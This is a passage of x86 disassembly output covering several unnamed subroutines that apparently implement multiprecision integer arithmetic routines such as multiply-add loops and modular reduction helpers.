080652ac  8b 4d 08               mov    0x8(%ebp),%ecx
080652af  8b 01                  mov    (%ecx),%eax
080652b1  39 f0                  cmp    %esi,%eax
080652b3  7d 47                  jge    080652fc <Unknown0377+0x1d0>
080652b5  3b 7d f0               cmp    0xfffffff0(%ebp),%edi
080652b8  74 05                  je     080652bf <Unknown0377+0x193>
080652ba  3b 7d ec               cmp    0xffffffec(%ebp),%edi
080652bd  75 09                  jne    080652c8 <Unknown0377+0x19c>
080652bf  89 7d d8               mov    %edi,0xffffffd8(%ebp)
080652c2  89 45 d4               mov    %eax,0xffffffd4(%ebp)
080652c5  eb 12                  jmp    080652d9 <Unknown0377+0x1ad>
080652c7  90                     nop
080652c8  83 ec 08               sub    $0x8,%esp
080652cb  c1 e0 02               shl    $0x2,%eax
080652ce  50                     push   %eax
080652cf  57                     push   %edi
080652d0  ff 15 30 93 07 08      call   *0x8079330   ;[in .data] 134623192 'xd8 x2f x6 x8' ""
080652d6  83 c4 10               add    $0x10,%esp
080652d9  83 ec 0c               sub    $0xc,%esp
080652dc  8d 04 b5 00 00 00 00   lea    0x0(,%esi,4),%eax   ;0 'x0 x0 x0 x0' ""
080652e3  50                     push   %eax
080652e4  ff 15 28 93 07 08      call   *0x8079328   ;[in .data] 134623100 'x7c x2f x6 x8' "|/"
080652ea  89 c7                  mov    %eax,%edi
080652ec  8b 5d 08               mov    0x8(%ebp),%ebx
080652ef  89 33                  mov    %esi,(%ebx)
080652f1  89 7b 08               mov    %edi,0x8(%ebx)
080652f4  83 c4 10               add    $0x10,%esp
080652f7  eb 5e                  jmp    08065357 <Unknown0377+0x22b>
080652f9  8d 76 00               lea    0x0(%esi),%esi
080652fc  3b 7d ec               cmp    0xffffffec(%ebp),%edi
080652ff  75 2a                  jne    0806532b <Unknown0377+0x1ff>
08065301  8b 55 e4               mov    0xffffffe4(%ebp),%edx
08065304  8d 04 95 0f 00 00 00   lea    0xf(,%edx,4),%eax   ;15 'xf x0 x0 x0' ""
0806530b  83 e0 f0               and    $0xfffffff0,%eax
0806530e  29 c4                  sub    %eax,%esp
08065310  89 65 ec               mov    %esp,0xffffffec(%ebp)
08065313  31 d2                  xor    %edx,%edx
08065315  3b 55 e4               cmp    0xffffffe4(%ebp),%edx
08065318  7d 11                  jge    0806532b <Unknown0377+0x1ff>
0806531a  89 f6                  mov    %esi,%esi
0806531c  8b 04 97               mov    (%edi,%edx,4),%eax
0806531f  8b 4d ec               mov    0xffffffec(%ebp),%ecx
08065322  89 04 91               mov    %eax,(%ecx,%edx,4)
08065325  42                     inc    %edx
08065326  3b 55 e4               cmp    0xffffffe4(%ebp),%edx
08065329  7c f1                  jl     0806531c <Unknown0377+0x1f0>
0806532b  3b 7d f0               cmp    0xfffffff0(%ebp),%edi
0806532e  75 27                  jne    08065357 <Unknown0377+0x22b>
08065330  8b 5d e8               mov    0xffffffe8(%ebp),%ebx
```

```
08065333  8d 04 9d 0f 00 00 00  lea     0xf(,%ebx,4),%eax    ;15 'xf x0 x0 x0' ""
0806533a  83 e0 f0              and     $0xfffffff0,%eax
0806533d  29 c4                 sub     %eax,%esp
0806533f  89 65 f0              mov     %esp,0xfffffff0(%ebp)
08065342  31 d2                 xor     %edx,%edx
08065344  39 da                 cmp     %ebx,%edx
08065346  7d 0f                 jge     08065357 <Unknown0377+0x22b>
08065348  8b 04 97              mov     (%edi,%edx,4),%eax
0806534b  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0806534e  89 04 91              mov     %eax,(%ecx,%edx,4)
08065351  42                    inc     %edx
08065352  3b 55 e8              cmp     0xffffffe8(%ebp),%edx
08065355  7c f1                 jl      08065348 <Unknown0377+0x21c>
08065357  31 d2                 xor     %edx,%edx
08065359  3b 55 e4              cmp     0xffffffe4(%ebp),%edx
0806535c  7d 11                 jge     0806536f <Unknown0377+0x243>
0806535e  89 f6                 mov     %esi,%esi
08065360  8b 5d ec              mov     0xffffffec(%ebp),%ebx
08065363  8b 04 93              mov     (%ebx,%edx,4),%eax
08065366  89 04 97              mov     %eax,(%edi,%edx,4)
08065369  42                    inc     %edx
0806536a  3b 55 e4              cmp     0xffffffe4(%ebp),%edx
0806536d  7c f1                 jl      08065360 <Unknown0377+0x234>
0806536f  8b 55 e8              mov     0xffffffe8(%ebp),%edx
08065372  8d 04 d5 17 00 00 00  lea     0x17(,%edx,8),%eax    ;23 'x17 x0 x0 x0' ""
08065379  83 e0 f0              and     $0xfffffff0,%eax
0806537c  29 c4                 sub     %eax,%esp
0806537e  f7 45 10 01 00 00 00  testl   $0x1,0x10(%ebp)    ;1 'x1 x0 x0 x0' ""
08065385  8b 5d e4              mov     0xffffffe4(%ebp),%ebx
08065388  89 65 d0              mov     %esp,0xffffffd0(%ebp)
0806538b  c7 45 dc 00 00 00 00  movl    $0x0,0xffffffdc(%ebp)    ;0 'x0 x0 x0 x0' ""
08065392  74 11                 je      080653a5 <Unknown0377+0x279>
08065394  8b 4d 0c              mov     0xc(%ebp),%ecx
08065397  8b 71 04              mov     0x4(%ecx),%esi
0806539a  85 f6                 test    %esi,%esi
0806539c  79 07                 jns     080653a5 <Unknown0377+0x279>
0806539e  c7 45 dc 01 00 00 00  movl    $0x1,0xffffffdc(%ebp)    ;1 'x1 x0 x0 x0' ""
080653a5  8b 45 10              mov     0x10(%ebp),%eax
080653a8  89 45 c8              mov     %eax,0xffffffc8(%ebp)
080653ab  0f bd d0              bsr     %eax,%edx
080653ae  83 f2 1f              xor     $0x1f,%edx
080653b1  89 55 cc              mov     %edx,0xffffffcc(%ebp)
080653b4  8a 4d cc              mov     0xffffffcc(%ebp),%cl
080653b7  d3 e0                 shl     %cl,%eax
080653b9  d1 e0                 shl     %eax
080653bb  89 45 c8              mov     %eax,0xffffffc8(%ebp)
080653be  b8 1f 00 00 00        mov     $0x1f,%eax    ;31 'x1f x0 x0 x0' ""
080653c3  29 d0                 sub     %edx,%eax
080653c5  89 45 cc              mov     %eax,0xffffffcc(%ebp)
080653c8  0f 84 a6 00 00 00     je      08065474 <Unknown0377+0x348>    ;166 'xa6 x0 x0 x0' ""
080653ce  8b 45 e8              mov     0xffffffe8(%ebp),%eax
080653d1  c1 e0 02              shl     $0x2,%eax
080653d4  89 45 c4              mov     %eax,0xffffffc4(%ebp)
080653d7  90                    nop
080653d8  53                    push    %ebx
080653d9  57                    push    %edi
080653da  57                    push    %edi
080653db  ff 75 d0              pushl   0xffffffd0(%ebp)
080653de  e8 25 f4 ff ff        call    08064808 <Unknown0367>
080653e3  8d 04 1b              lea     (%ebx,%ebx,1),%eax
080653e6  83 c4 10              add     $0x10,%esp
080653e9  3b 45 e8              cmp     0xffffffe8(%ebp),%eax
080653ec  7e 21                 jle     0806540f <Unknown0377+0x2e3>
080653ee  83 ec 08              sub     $0x8,%esp
080653f1  ff 75 e8              pushl   0xffffffe8(%ebp)
080653f4  ff 75 f0              pushl   0xfffffff0(%ebp)
080653f7  50                    push    %eax
080653f8  ff 75 d0              pushl   0xffffffd0(%ebp)
080653fb  8b 45 d0              mov     0xffffffd0(%ebp),%eax
080653fe  6a 00                 push    $0x0
08065400  03 45 c4              add     0xffffffc4(%ebp),%eax
08065403  50                    push    %eax
08065404  e8 1f dd ff ff        call    08063128 <Unknown0353>
08065409  83 c4 20              add     $0x20,%esp
0806540c  8b 45 e8              mov     0xffffffe8(%ebp),%eax
0806540f  8b 4d c8              mov     0xffffffc8(%ebp),%ecx
08065412  89 fe                 mov     %edi,%esi
08065414  85 c9                 test    %ecx,%ecx
08065416  8b 7d d0              mov     0xffffffd0(%ebp),%edi
08065419  89 c3                 mov     %eax,%ebx
0806541b  89 75 d0              mov     %esi,0xffffffd0(%ebp)
0806541e  79 48                 jns     08065468 <Unknown0377+0x33c>
08065420  83 ec 0c              sub     $0xc,%esp
08065423  ff 75 e4              pushl   0xffffffe4(%ebp)
```

```
08065426   ff 75 ec              pushl   0xffffffec(%ebp)
08065429   53                    push    %ebx
0806542a   57                    push    %edi
0806542b   56                    push    %esi
0806542c   e8 57 f4 ff ff        call    08064888 <Unknown0368>
08065431   8b 55 e4              mov     0xffffffe4(%ebp),%edx
08065434   8d 04 1a              lea     (%edx,%ebx,1),%eax
08065437   83 c4 20              add     $0x20,%esp
0806543a   3b 45 e8              cmp     0xffffffe8(%ebp),%eax
0806543d   7e 1f                 jle     0806545e <Unknown0377+0x332>
0806543f   83 ec 08              sub     $0x8,%esp
08065442   ff 75 e8              pushl   0xffffffe8(%ebp)
08065445   ff 75 f0              pushl   0xfffffff0(%ebp)
08065448   50                    push    %eax
08065449   56                    push    %esi
0806544a   8b 4d c4              mov     0xffffffc4(%ebp),%ecx
0806544d   6a 00                 push    $0x0
0806544f   8d 04 31              lea     (%ecx,%esi,1),%eax
08065452   50                    push    %eax
08065453   e8 d0 dc ff ff        call    08063128 <Unknown0353>
08065458   83 c4 20              add     $0x20,%esp
0806545b   8b 45 e8              mov     0xffffffe8(%ebp),%eax
0806545e   89 fe                 mov     %edi,%esi
08065460   89 c3                 mov     %eax,%ebx
08065462   8b 7d d0              mov     0xffffffd0(%ebp),%edi
08065465   89 75 d0              mov     %esi,0xffffffd0(%ebp)
08065468   d1 65 c8              shll    0xffffffc8(%ebp)
0806546b   ff 4d cc              decl    0xffffffcc(%ebp)
0806546e   0f 85 64 ff ff ff     jne     080653d8 <Unknown0377+0x2ac>   ¡-156 'x64 xff xff xff' "d"
08065474   8b 55 e0              mov     0xffffffe0(%ebp),%edx
08065477   85 d2                 test    %edx,%edx
08065479   74 25                 je      080654a0 <Unknown0377+0x374>
0806547b   ff 75 e0              pushl   0xffffffe0(%ebp)
0806547e   53                    push    %ebx
0806547f   57                    push    %edi
08065480   8b 45 08              mov     0x8(%ebp),%eax
08065483   ff 70 08              pushl   0x8(%eax)
08065486   e8 3d ea ff ff        call    08063ec8 <Unknown0360>
0806548b   83 c4 10              add     $0x10,%esp
0806548e   8b 55 08              mov     0x8(%ebp),%edx
08065491   85 c0                 test    %eax,%eax
08065493   8b 7a 08              mov     0x8(%edx),%edi
08065496   74 29                 je      080654c1 <Unknown0377+0x395>
08065498   89 04 9f              mov     %eax,(%edi,%ebx,4)
0806549b   43                    inc     %ebx
0806549c   eb 23                 jmp     080654c1 <Unknown0377+0x395>
0806549e   89 f6                 mov     %esi,%esi
080654a0   31 d2                 xor     %edx,%edx
080654a2   39 5d e0              cmp     %ebx,0xffffffe0(%ebp)
080654a5   7d 14                 jge     080654bb <Unknown0377+0x38f>
080654a7   8b 45 08              mov     0x8(%ebp),%eax
080654aa   8b 48 08              mov     0x8(%eax),%ecx
080654ad   8d 76 00              lea     0x0(%esi),%esi
080654b0   8b 04 97              mov     (%edi,%edx,4),%eax
080654b3   89 04 91              mov     %eax,(%ecx,%edx,4)
080654b6   42                    inc     %edx
080654b7   39 da                 cmp     %ebx,%edx
080654b9   7c f5                 jl      080654b0 <Unknown0377+0x384>
080654bb   8b 55 08              mov     0x8(%ebp),%edx
080654be   8b 7a 08              mov     0x8(%edx),%edi
080654c1   3b 5d e8              cmp     0xffffffe8(%ebp),%ebx
080654c4   7c 1f                 jl      080654e5 <Unknown0377+0x3b9>
080654c6   83 ec 08              sub     $0x8,%esp
080654c9   ff 75 e8              pushl   0xffffffe8(%ebp)
080654cc   ff 75 f0              pushl   0xfffffff0(%ebp)
080654cf   53                    push    %ebx
080654d0   57                    push    %edi
080654d1   8b 4d e8              mov     0xffffffe8(%ebp),%ecx
080654d4   6a 00                 push    $0x0
080654d6   8d 04 8f              lea     (%edi,%ecx,4),%eax
080654d9   50                    push    %eax
080654da   e8 49 dc ff ff        call    08063128 <Unknown0353>
080654df   83 c4 20              add     $0x20,%esp
080654e2   8b 5d e8              mov     0xffffffe8(%ebp),%ebx
080654e5   8b 45 e0              mov     0xffffffe0(%ebp),%eax
080654e8   85 c0                 test    %eax,%eax
080654ea   74 0e                 je      080654fa <Unknown0377+0x3ce>
080654ec   ff 75 e0              pushl   0xffffffe0(%ebp)
080654ef   53                    push    %ebx
080654f0   57                    push    %edi
080654f1   57                    push    %edi
080654f2   e8 11 f6 ff ff        call    08064b08 <Unknown0369>
080654f7   83 c4 10              add     $0x10,%esp
080654fa   85 db                 test    %ebx,%ebx
```

```
080654fc   7e 1c               jle     0806551a <Unknown0377+0x3ee>
080654fe   8d 04 9f            lea     (%edi,%ebx,4),%eax
08065501   8b 70 fc            mov     0xfffffffc(%eax),%esi
08065504   85 f6               test    %esi,%esi
08065506   75 12               jne     0806551a <Unknown0377+0x3ee>
08065508   83 e8 04            sub     $0x4,%eax
0806550b   90                  nop
0806550c   4b                  dec     %ebx
0806550d   83 e8 04            sub     $0x4,%eax
08065510   85 db               test    %ebx,%ebx
08065512   7e 06               jle     0806551a <Unknown0377+0x3ee>
08065514   8b 08               mov     (%eax),%ecx
08065516   85 c9               test    %ecx,%ecx
08065518   74 f2               je      0806550c <Unknown0377+0x3e0>
0806551a   8b 55 dc            mov     0xffffffdc(%ebp),%edx
0806551d   85 d2               test    %edx,%edx
0806551f   89 d8               mov     %ebx,%eax
08065521   74 02               je      08065525 <Unknown0377+0x3f9>
08065523   f7 d8               neg     %eax
08065525   8b 5d 08            mov     0x8(%ebp),%ebx
08065528   89 43 04            mov     %eax,0x4(%ebx)
0806552b   8b 45 d8            mov     0xffffffd8(%ebp),%eax
0806552e   85 c0               test    %eax,%eax
08065530   74 16               je      08065548 <Unknown0377+0x41c>
08065532   8b 45 d4            mov     0xffffffd4(%ebp),%eax
08065535   83 ec 08            sub     $0x8,%esp
08065538   c1 e0 02            shl     $0x2,%eax
0806553b   50                  push    %eax
0806553c   ff 75 d8            pushl   0xffffffd8(%ebp)
0806553f   ff 15 30 93 07 08   call    *0x8079330  ;[in .data] 134623192 'xd8 x2f x6 x8' ""
08065545   83 c4 10            add     $0x10,%esp
08065548   8d 65 f4            lea     0xfffffff4(%ebp),%esp
0806554b   5b                  pop     %ebx
0806554c   5e                  pop     %esi
0806554d   5f                  pop     %edi
0806554e   5d                  pop     %ebp
0806554f   c3                  ret

  ;
  ; >--------------------< Subroutine # 378 >--------------------<
  ;
08065550 <Unknown0378>:
08065550   57                  push    %edi
08065551   56                  push    %esi
08065552   53                  push    %ebx


  ;
  ; >--------------------< Subroutine # 379 >--------------------<
  ;
08065553 <Unknown0379>:
08065553   55                  push    %ebp
08065554   8b 7c 24 14         mov     0x14(%esp,1),%edi
08065558   8b 74 24 18         mov     0x18(%esp,1),%esi
0806555c   8b 4c 24 1c         mov     0x1c(%esp,1),%ecx
08065560   8b 6c 24 20         mov     0x20(%esp,1),%ebp
08065564   8d 3c 8f            lea     (%edi,%ecx,4),%edi
08065567   8d 34 8e            lea     (%esi,%ecx,4),%esi
0806556a   f7 d9               neg     %ecx
0806556c   31 db               xor     %ebx,%ebx
0806556e   89 f6               mov     %esi,%esi
08065570   83 d3 00            adc     $0x0,%ebx
08065573   8b 04 8e            mov     (%esi,%ecx,4),%eax
08065576   f7 e5               mul     %ebp
08065578   01 d8               add     %ebx,%eax
0806557a   8b 1c 8f            mov     (%edi,%ecx,4),%ebx
0806557d   83 d2 00            adc     $0x0,%edx
08065580   01 c3               add     %eax,%ebx
08065582   89 1c 8f            mov     %ebx,(%edi,%ecx,4)
08065585   41                  inc     %ecx
08065586   89 d3               mov     %edx,%ebx
08065588   75 e6               jne     08065570 <Unknown0379+0x1d>
0806558a   83 d3 00            adc     $0x0,%ebx
0806558d   89 d8               mov     %ebx,%eax
0806558f   5d                  pop     %ebp
08065590   5b                  pop     %ebx
08065591   5e                  pop     %esi
08065592   5f                  pop     %edi
08065593   c3                  ret
08065594   8d 74 26 00         lea     0x0(%esi,1),%esi


  ;
```

```
   ; >--------------------<  Subroutine # 380 >--------------------<
   ;
08065598 <Unknown0380>:
08065598   55                          push    %ebp
08065599   89 e5                       mov     %esp,%ebp
0806559b   57                          push    %edi
0806559c   56                          push    %esi
0806559d   53                          push    %ebx
0806559e   83 ec 0c                    sub     $0xc,%esp
080655a1   8b 55 14                    mov     0x14(%ebp),%edx
080655a4   8b 02                       mov     (%edx),%eax
080655a6   3b 05 34 93 07 08           cmp     0x8079334,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080655ac   74 32                       je      080655e0 <Unknown0380+0x48>
080655ae   a3 34 93 07 08              mov     %eax,0x8079334   ;[in .data] 0 'x0 x0 x0 x0' ""
080655b3   b9 01 00 00 00              mov     $0x1,%ecx   ;1 'x1 x0 x0 x0' ""
080655b8   ba 01 00 00 00              mov     $0x1,%edx   ;1 'x1 x0 x0 x0' ""
080655bd   c7 05 88 c1 07 08 00 00 00 00  movl  $0x0,0x807c188   ;0 'x0 x0 x0 x0' ""
080655c7   31 db                       xor     %ebx,%ebx
080655c9   eb 05                       jmp     080655d0 <Unknown0380+0x38>
080655cb   90                          nop
080655cc   d1 e2                       shl     %edx
080655ce   d1 e0                       shl     %eax
080655d0   85 d1                       test    %edx,%ecx
080655d2   74 f8                       je      080655cc <Unknown0380+0x34>
080655d4   01 d3                       add     %edx,%ebx
080655d6   29 c1                       sub     %eax,%ecx
080655d8   75 f6                       jne     080655d0 <Unknown0380+0x38>
080655da   89 1d 88 c1 07 08           mov     %ebx,0x807c188   ;[in .bss] 1946172032 'x80 x3a x0 x74' ""
080655e0   83 7d 10 02                 cmpl    $0x2,0x10(%ebp)
080655e4   75 6a                       jne     08065650 <Unknown0380+0xb8>
080655e6   83 7d 18 02                 cmpl    $0x2,0x18(%ebp)
080655ea   75 64                       jne     08065650 <Unknown0380+0xb8>
080655ec   83 7d 1c 20                 cmpl    $0x20,0x1c(%ebp)
080655f0   74 06                       je      080655f8 <Unknown0380+0x60>
080655f2   83 7d 1c 40                 cmpl    $0x40,0x1c(%ebp)
080655f6   75 58                       jne     08065650 <Unknown0380+0xb8>
080655f8   8b 5d 0c                    mov     0xc(%ebp),%ebx
080655fb   a1 88 c1 07 08              mov     0x807c188,%eax   ;[in .bss] 1946172032 'x80 x3a x0 x74' ""
08065600   8b 0b                       mov     (%ebx),%ecx
08065602   0f af c8                    imul    %eax,%ecx
08065605   8b 5d 14                    mov     0x14(%ebp),%ebx
08065608   89 c8                       mov     %ecx,%eax
0806560a   f7 23                       mull    (%ebx)
0806560c   8b 45 0c                    mov     0xc(%ebp),%eax
0806560f   c7 00 00 00 00 00           movl    $0x0,(%eax)   ;0 'x0 x0 x0 x0' ""
08065615   89 c8                       mov     %ecx,%eax
08065617   0f af 43 04                 imul    0x4(%ebx),%eax
0806561b   01 c2                       add     %eax,%edx
0806561d   8b 5d 0c                    mov     0xc(%ebp),%ebx
08065620   29 53 04                    sub     %edx,0x4(%ebx)
08065623   8b 45 08                    mov     0x8(%ebp),%eax
08065626   89 08                       mov     %ecx,(%eax)
08065628   83 7d 1c 40                 cmpl    $0x40,0x1c(%ebp)
0806562c   0f 85 9a 01 00 00           jne     080657cc <Unknown0380+0x234>   ;410 'x9a x1 x0 x0' ""
08065632   a1 88 c1 07 08              mov     0x807c188,%eax   ;[in .bss] 1946172032 'x80 x3a x0 x74' ""
08065637   8b 4b 04                    mov     0x4(%ebx),%ecx
0806563a   c7 43 04 00 00 00 00        movl    $0x0,0x4(%ebx)   ;0 'x0 x0 x0 x0' ""
08065641   0f af c8                    imul    %eax,%ecx
08065644   8b 55 08                    mov     0x8(%ebp),%edx
08065647   89 4a 04                    mov     %ecx,0x4(%edx)
0806564a   e9 7d 01 00 00              jmp     080657cc <Unknown0380+0x234>   ;381 'x7d x1 x0 x0' "}"
0806564f   90                          nop
08065650   83 7d 1c 1f                 cmpl    $0x1f,0x1c(%ebp)
08065654   0f 86 a8 00 00 00           jbe     08065702 <Unknown0380+0x16a>   ;168 'xa8 x0 x0 x0' ""
0806565a   89 f6                       mov     %esi,%esi
0806565c   a1 88 c1 07 08              mov     0x807c188,%eax   ;[in .bss] 1946172032 'x80 x3a x0 x74' ""
08065661   8b 4d 0c                    mov     0xc(%ebp),%ecx
08065664   0f af 01                    imul    (%ecx),%eax
08065667   89 45 f0                    mov     %eax,0xfffffff0(%ebp)
0806566a   50                          push    %eax
0806566b   8b 5d 10                    mov     0x10(%ebp),%ebx
0806566e   8b 45 18                    mov     0x18(%ebp),%eax
08065671   39 d8                       cmp     %ebx,%eax
08065673   7e 02                       jle     08065677 <Unknown0380+0xdf>
08065675   89 d8                       mov     %ebx,%eax
08065677   50                          push    %eax
08065678   ff 75 14                    pushl   0x14(%ebp)
0806567b   ff 75 0c                    pushl   0xc(%ebp)
0806567e   e8 4d f9 ff ff              call    08064fd0 <Unknown0374>
08065683   89 c7                       mov     %eax,%edi
08065685   8b 45 18                    mov     0x18(%ebp),%eax
08065688   83 c4 10                    add     $0x10,%esp
0806568b   39 45 10                    cmp     %eax,0x10(%ebp)
0806568e   7e 4f                       jle     080656df <Unknown0380+0x147>
```

```
08065690    8b 55 0c                mov     0xc(%ebp),%edx
08065693    8d 1c 82                lea     (%edx,%eax,4),%ebx
08065696    8b 13                   mov     (%ebx),%edx
08065698    8b 4d 10                mov     0x10(%ebp),%ecx
0806569b    29 c1                   sub     %eax,%ecx
0806569d    89 d0                   mov     %edx,%eax
0806569f    29 f8                   sub     %edi,%eax
080656a1    8d 73 04                lea     0x4(%ebx),%esi
080656a4    39 d0                   cmp     %edx,%eax
080656a6    89 03                   mov     %eax,(%ebx)
080656a8    89 f3                   mov     %esi,%ebx
080656aa    76 1c                   jbe     080656c8 <Unknown0380+0x130>
080656ac    49                      dec     %ecx
080656ad    74 30                   je      080656df <Unknown0380+0x147>
080656af    90                      nop
080656b0    8b 16                   mov     (%esi),%edx
080656b2    8d 42 ff                lea     0xffffffff(%edx),%eax
080656b5    83 c6 04                add     $0x4,%esi
080656b8    89 03                   mov     %eax,(%ebx)
080656ba    83 c3 04                add     $0x4,%ebx
080656bd    85 d2                   test    %edx,%edx
080656bf    75 07                   jne     080656c8 <Unknown0380+0x130>
080656c1    49                      dec     %ecx
080656c2    75 ec                   jne     080656b0 <Unknown0380+0x118>
080656c4    eb 19                   jmp     080656df <Unknown0380+0x147>
080656c6    89 f6                   mov     %esi,%esi
080656c8    39 f3                   cmp     %esi,%ebx
080656ca    74 13                   je      080656df <Unknown0380+0x147>
080656cc    31 d2                   xor     %edx,%edx
080656ce    49                      dec     %ecx
080656cf    39 ca                   cmp     %ecx,%edx
080656d1    7d 0c                   jge     080656df <Unknown0380+0x147>
080656d3    90                      nop
080656d4    8b 04 96                mov     (%esi,%edx,4),%eax
080656d7    89 04 93                mov     %eax,(%ebx,%edx,4)
080656da    42                      inc     %edx
080656db    39 ca                   cmp     %ecx,%edx
080656dd    7c f5                   jl      080656d4 <Unknown0380+0x13c>
080656df    8b 4d 08                mov     0x8(%ebp),%ecx
080656e2    8b 5d f0                mov     0xfffffff0(%ebp),%ebx
080656e5    83 6d 1c 20             subl    $0x20,0x1c(%ebp)
080656e9    83 45 0c 04             addl    $0x4,0xc(%ebp)
080656ed    ff 4d 10                decl    0x10(%ebp)
080656f0    89 19                   mov     %ebx,(%ecx)
080656f2    83 c1 04                add     $0x4,%ecx
080656f5    83 7d 1c 1f             cmpl    $0x1f,0x1c(%ebp)
080656f9    89 4d 08                mov     %ecx,0x8(%ebp)
080656fc    0f 87 5a ff ff ff       ja      0806565c <Unknown0380+0xc4>   ;-166 'x5a xff xff xff' "Z"
08065702    8b 45 1c                mov     0x1c(%ebp),%eax
08065705    85 c0                   test    %eax,%eax
08065707    0f 84 bf 00 00 00       je      080657cc <Unknown0380+0x234>   ;191 'xbf x0 x0 x0' ""
0806570d    8b 45 0c                mov     0xc(%ebp),%eax
08065710    8b 15 88 c1 07 08       mov     0x807c188,%edx   ;[in .bss] 1946172032 'x80 x3a x0 x74' ""
08065716    0f af 10                imul    (%eax),%edx
08065719    8a 4d 1c                mov     0x1c(%ebp),%cl
0806571c    b8 01 00 00 00          mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08065721    d3 e0                   shl     %cl,%eax
08065723    48                      dec     %eax
08065724    21 c2                   and     %eax,%edx
08065726    89 55 ec                mov     %edx,0xffffffec(%ebp)
08065729    0f 84 9d 00 00 00       je      080657cc <Unknown0380+0x234>   ;157 'x9d x0 x0 x0' ""
0806572f    4a                      dec     %edx
08065730    75 1e                   jne     08065750 <Unknown0380+0x1b8>
08065732    8b 45 18                mov     0x18(%ebp),%eax
08065735    8b 5d 10                mov     0x10(%ebp),%ebx
08065738    39 d8                   cmp     %ebx,%eax
0806573a    7e 02                   jle     0806573e <Unknown0380+0x1a6>
0806573c    89 d8                   mov     %ebx,%eax
0806573e    50                      push    %eax
0806573f    ff 75 14                pushl   0x14(%ebp)
08065742    ff 75 0c                pushl   0xc(%ebp)
08065745    ff 75 0c                pushl   0xc(%ebp)
08065748    e8 cb f8 ff ff          call    08065018 <Unknown0375>
0806574d    eb 1c                   jmp     0806576b <Unknown0380+0x1d3>
0806574f    90                      nop
08065750    8b 45 18                mov     0x18(%ebp),%eax
08065753    8b 55 10                mov     0x10(%ebp),%edx
08065756    39 d0                   cmp     %edx,%eax
08065758    ff 75 ec                pushl   0xffffffec(%ebp)
0806575b    7e 02                   jle     0806575f <Unknown0380+0x1c7>
0806575d    89 d0                   mov     %edx,%eax
0806575f    50                      push    %eax
08065760    ff 75 14                pushl   0x14(%ebp)
08065763    ff 75 0c                pushl   0xc(%ebp)
```

```
08065766   e8 65 f8 ff ff        call     08064fd0 <Unknown0374>
0806576b   89 c7                 mov      %eax,%edi
0806576d   83 c4 10              add      $0x10,%esp
08065770   8b 4d 18              mov      0x18(%ebp),%ecx
08065773   39 4d 10              cmp      %ecx,0x10(%ebp)
08065776   7e 4f                 jle      080657c7 <Unknown0380+0x22f>
08065778   8b 5d 0c              mov      0xc(%ebp),%ebx
0806577b   8d 0c 8b              lea      (%ebx,%ecx,4),%ecx
0806577e   8b 11                 mov      (%ecx),%edx
08065780   89 d0                 mov      %edx,%eax
08065782   8b 5d 10              mov      0x10(%ebp),%ebx
08065785   29 f8                 sub      %edi,%eax
08065787   2b 5d 18              sub      0x18(%ebp),%ebx
0806578a   8d 71 04              lea      0x4(%ecx),%esi
0806578d   39 d0                 cmp      %edx,%eax
0806578f   89 01                 mov      %eax,(%ecx)
08065791   89 f1                 mov      %esi,%ecx
08065793   76 1b                 jbe      080657b0 <Unknown0380+0x218>
08065795   4b                    dec      %ebx
08065796   74 2f                 je       080657c7 <Unknown0380+0x22f>
08065798   8b 16                 mov      (%esi),%edx
0806579a   8d 42 ff              lea      0xffffffff(%edx),%eax
0806579d   83 c6 04              add      $0x4,%esi
080657a0   89 01                 mov      %eax,(%ecx)
080657a2   83 c1 04              add      $0x4,%ecx
080657a5   85 d2                 test     %edx,%edx
080657a7   75 07                 jne      080657b0 <Unknown0380+0x218>
080657a9   4b                    dec      %ebx
080657aa   75 ec                 jne      08065798 <Unknown0380+0x200>
080657ac   eb 19                 jmp      080657c7 <Unknown0380+0x22f>
080657ae   89 f6                 mov      %esi,%esi
080657b0   39 f1                 cmp      %esi,%ecx
080657b2   74 13                 je       080657c7 <Unknown0380+0x22f>
080657b4   31 d2                 xor      %edx,%edx
080657b6   4b                    dec      %ebx
080657b7   39 da                 cmp      %ebx,%edx
080657b9   7d 0c                 jge      080657c7 <Unknown0380+0x22f>
080657bb   90                    nop
080657bc   8b 04 96              mov      (%esi,%edx,4),%eax
080657bf   89 04 91              mov      %eax,(%ecx,%edx,4)
080657c2   42                    inc      %edx
080657c3   39 da                 cmp      %ebx,%edx
080657c5   7c f5                 jl       080657bc <Unknown0380+0x224>
080657c7   8b 45 ec              mov      0xffffffec(%ebp),%eax
080657ca   eb 02                 jmp      080657ce <Unknown0380+0x236>
080657cc   31 c0                 xor      %eax,%eax
080657ce   8d 65 f4              lea      0xfffffff4(%ebp),%esp
080657d1   5b                    pop      %ebx
080657d2   5e                    pop      %esi
080657d3   5f                    pop      %edi
080657d4   5d                    pop      %ebp
080657d5   c3                    ret
080657d6   89 f6                 mov      %esi,%esi


   ;
   ; >--------------------< Subroutine # 381 >--------------------<
   ;
080657d8 <Unknown0381>:
080657d8   55                    push     %ebp
080657d9   89 e5                 mov      %esp,%ebp
080657db   83 ec 08              sub      $0x8,%esp
080657de   ff 75 14              pushl    0x14(%ebp)
080657e1   ff 75 10              pushl    0x10(%ebp)
080657e4   6a 00                 push     $0x0
080657e6   6a 08                 push     $0x8
080657e8   6a 0f                 push     $0xf
080657ea   6a 08                 push     $0x8
080657ec   ff 75 0c              pushl    0xc(%ebp)
080657ef   ff 75 08              pushl    0x8(%ebp)
080657f2   e8 05 00 00 00        call     080657fc <Unknown0382>
080657f7   c9                    leave
080657f8   c3                    ret
080657f9   8d 76 00              lea      0x0(%esi),%esi


   ;
   ; >--------------------< Subroutine # 382 >--------------------<
   ;
080657fc <Unknown0382>:
080657fc   55                    push     %ebp
080657fd   89 e5                 mov      %esp,%ebp
080657ff   57                    push     %edi
08065800   56                    push     %esi
```

```
08065801   53                       push   %ebx
08065802   83 ec 1c                 sub    $0x1c,%esp
08065805   8b 45 0c                 mov    0xc(%ebp),%eax
08065808   89 45 f0                 mov    %eax,0xfffffff0(%ebp)
0806580b   8b 45 18                 mov    0x18(%ebp),%eax
0806580e   89 45 ec                 mov    %eax,0xffffffec(%ebp)
08065811   8b 45 1c                 mov    0x1c(%ebp),%eax
08065814   89 45 e8                 mov    %eax,0xffffffe8(%ebp)
08065817   8b 45 20                 mov    0x20(%ebp),%eax
0806581a   85 c0                    test   %eax,%eax
0806581c   8b 7d 08                 mov    0x8(%ebp),%edi
0806581f   8b 4d 10                 mov    0x10(%ebp),%ecx
08065822   8b 5d 14                 mov    0x14(%ebp),%ebx
08065825   8b 55 24                 mov    0x24(%ebp),%edx
